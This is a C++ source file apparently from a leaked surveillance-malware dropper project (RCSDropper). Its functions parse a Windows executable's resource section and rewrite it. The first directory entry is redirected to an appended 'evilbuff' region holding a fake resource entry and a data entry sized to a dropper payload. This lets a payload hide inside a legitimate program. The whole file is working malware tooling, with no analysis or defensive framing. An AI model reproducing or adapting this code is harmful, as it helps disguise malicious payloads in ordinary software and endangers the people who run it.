hackedteam/vector-dropper

View on GitHub
RCSDropper/ResourceTuner.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <stdio.h>


VOID ParseResources(PIMAGE_RESOURCE_DIRECTORY pRootDirectory, PIMAGE_RESOURCE_DIRECTORY pResourceDirectory, ULONG uLevel)
{
    PIMAGE_RESOURCE_DATA_ENTRY pEntryData;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pDirectoryEntry;
    pDirectoryEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (pResourceDirectory + 1);
    
    if (uLevel > 2)
        return;

    printf("\n[%d] Directory @ %08x, Entry @ %08x, Items: %d\n", uLevel,
        ((PBYTE)pResourceDirectory - (PBYTE)pRootDirectory), 
        ((PBYTE)pDirectoryEntry - (PBYTE)pRootDirectory),
        pResourceDirectory->NumberOfIdEntries + pResourceDirectory->NumberOfNamedEntries);

    for (DWORD i=0; i < pResourceDirectory->NumberOfIdEntries + pResourceDirectory->NumberOfNamedEntries; i++)
    {
        printf("   Entry %d @ %08x\n", i, ((PBYTE)&pDirectoryEntry[i] - (PBYTE)pRootDirectory));
        if (pDirectoryEntry[i].DataIsDirectory)
        {
            uLevel++;
            if (!pDirectoryEntry->NameIsString)
                printf("    - OffsetToDirectory: %08x, Id: %d\n", pDirectoryEntry[i].OffsetToDirectory, pDirectoryEntry[i].Id);
            else
                printf("    - OffsetToDirectory: %08x, Name: %s\n", pDirectoryEntry[i].OffsetToDirectory, "NAME_NAME");
            ParseResources(pRootDirectory, (PIMAGE_RESOURCE_DIRECTORY) (((PBYTE)pRootDirectory) + pDirectoryEntry[i].OffsetToDirectory), uLevel);
        }
        else
        {
            pEntryData = (PIMAGE_RESOURCE_DATA_ENTRY) (((PBYTE)pRootDirectory) + pDirectoryEntry[i].OffsetToData);

            if (!pDirectoryEntry->NameIsString)
                printf("    - OffsetToData: %08x, size: %d, Id: %d\n", pDirectoryEntry[i].OffsetToData, pEntryData->Size, pDirectoryEntry[i].Id);
            else
                printf("    - OffsetToData: %08x, size: %d, Name: %s\n", pDirectoryEntry[i].OffsetToData, pEntryData->Size, "NAME_NAME");
        }
    }
    printf("###### ENDOF %08x\n", ((PBYTE)pResourceDirectory - (PBYTE)pRootDirectory));
}

VOID DebugRsrc(PBYTE pBuffer)
{
    ParseResources((PIMAGE_RESOURCE_DIRECTORY) pBuffer,
        (PIMAGE_RESOURCE_DIRECTORY) pBuffer,
        0); 
}



PBYTE TuneResources(PBYTE pRsrcBuffer, ULONG uSectionSize, ULONG uDropperSize, PULONG uNewSectionSize)
{
    printf("##################### BEFORE ##################\n");
    DebugRsrc(pRsrcBuffer);


    /* save first directory before root */
    PIMAGE_RESOURCE_DIRECTORY pOriginalRootDir = (PIMAGE_RESOURCE_DIRECTORY)pRsrcBuffer;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pOriginalFirstEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (pOriginalRootDir + 1);
    /* and first table */
    PIMAGE_RESOURCE_DIRECTORY pOriginalFirstTable = (PIMAGE_RESOURCE_DIRECTORY) (pRsrcBuffer + pOriginalFirstEntry->OffsetToDirectory);


    ULONG uDirSize = sizeof(IMAGE_RESOURCE_DIRECTORY) + 
        (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * (pOriginalFirstTable->NumberOfIdEntries + pOriginalFirstTable->NumberOfNamedEntries));


    /* new size */
    *uNewSectionSize = uSectionSize + uDirSize + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) + sizeof(IMAGE_RESOURCE_DATA_ENTRY);
    while(*uNewSectionSize % 0x1000) // FIXME SectionAlignment
        (*uNewSectionSize) += 1;

    /* copy original data */
    PBYTE pOutputBuffer = (PBYTE) malloc(*uNewSectionSize);
    PBYTE pBuffer = pOutputBuffer;
    memcpy(pOutputBuffer, pRsrcBuffer, uSectionSize);

    /* modify first directory entry offset to point to beyond original .rsrc (evilbuff) */
    PIMAGE_RESOURCE_DIRECTORY pHijackedRootDir = (PIMAGE_RESOURCE_DIRECTORY) (pOutputBuffer);
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pHijackedFirstEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (pHijackedRootDir + 1);
    pHijackedFirstEntry->OffsetToDirectory = uSectionSize;


    /* advance buffer */
    pOutputBuffer += uSectionSize;

    /* copy first directory + entries  and increment element id */
    memcpy(pOutputBuffer, pOriginalFirstTable, uDirSize);


    /* add an entry to the hihacked table */
    PIMAGE_RESOURCE_DIRECTORY pHijackedFirstTable = (PIMAGE_RESOURCE_DIRECTORY)pOutputBuffer;
    pHijackedFirstTable->NumberOfIdEntries += 1;


    pOutputBuffer += uDirSize;


    /* fake entry */

    for (ULONG i=0; i < sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY); i++)
        pOutputBuffer[i] = 0x0;

    PIMAGE_RESOURCE_DIRECTORY_ENTRY pFakeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)pOutputBuffer;
    pFakeEntry->DataIsDirectory = 0;
    pFakeEntry->NameIsString = 0;
    pFakeEntry->Id = 10;
    pFakeEntry->OffsetToData = uSectionSize + uDirSize + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY);


    pOutputBuffer += sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY);


    /* fake data entry */
    memset(pOutputBuffer, 0x0, sizeof(IMAGE_RESOURCE_DATA_ENTRY));
    PIMAGE_RESOURCE_DATA_ENTRY pFakeDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)pOutputBuffer;

    pFakeDataEntry->Size = uDropperSize; // - (uDirSize + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)); // FIXME: DropperSize
    pFakeDataEntry->OffsetToData = uSectionSize + uDirSize + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) + sizeof(IMAGE_RESOURCE_DATA_ENTRY);

    pOutputBuffer += sizeof(IMAGE_RESOURCE_DATA_ENTRY);

    printf("##################### AFTER ##################\n");
    DebugRsrc(pBuffer);


    return pBuffer;    
}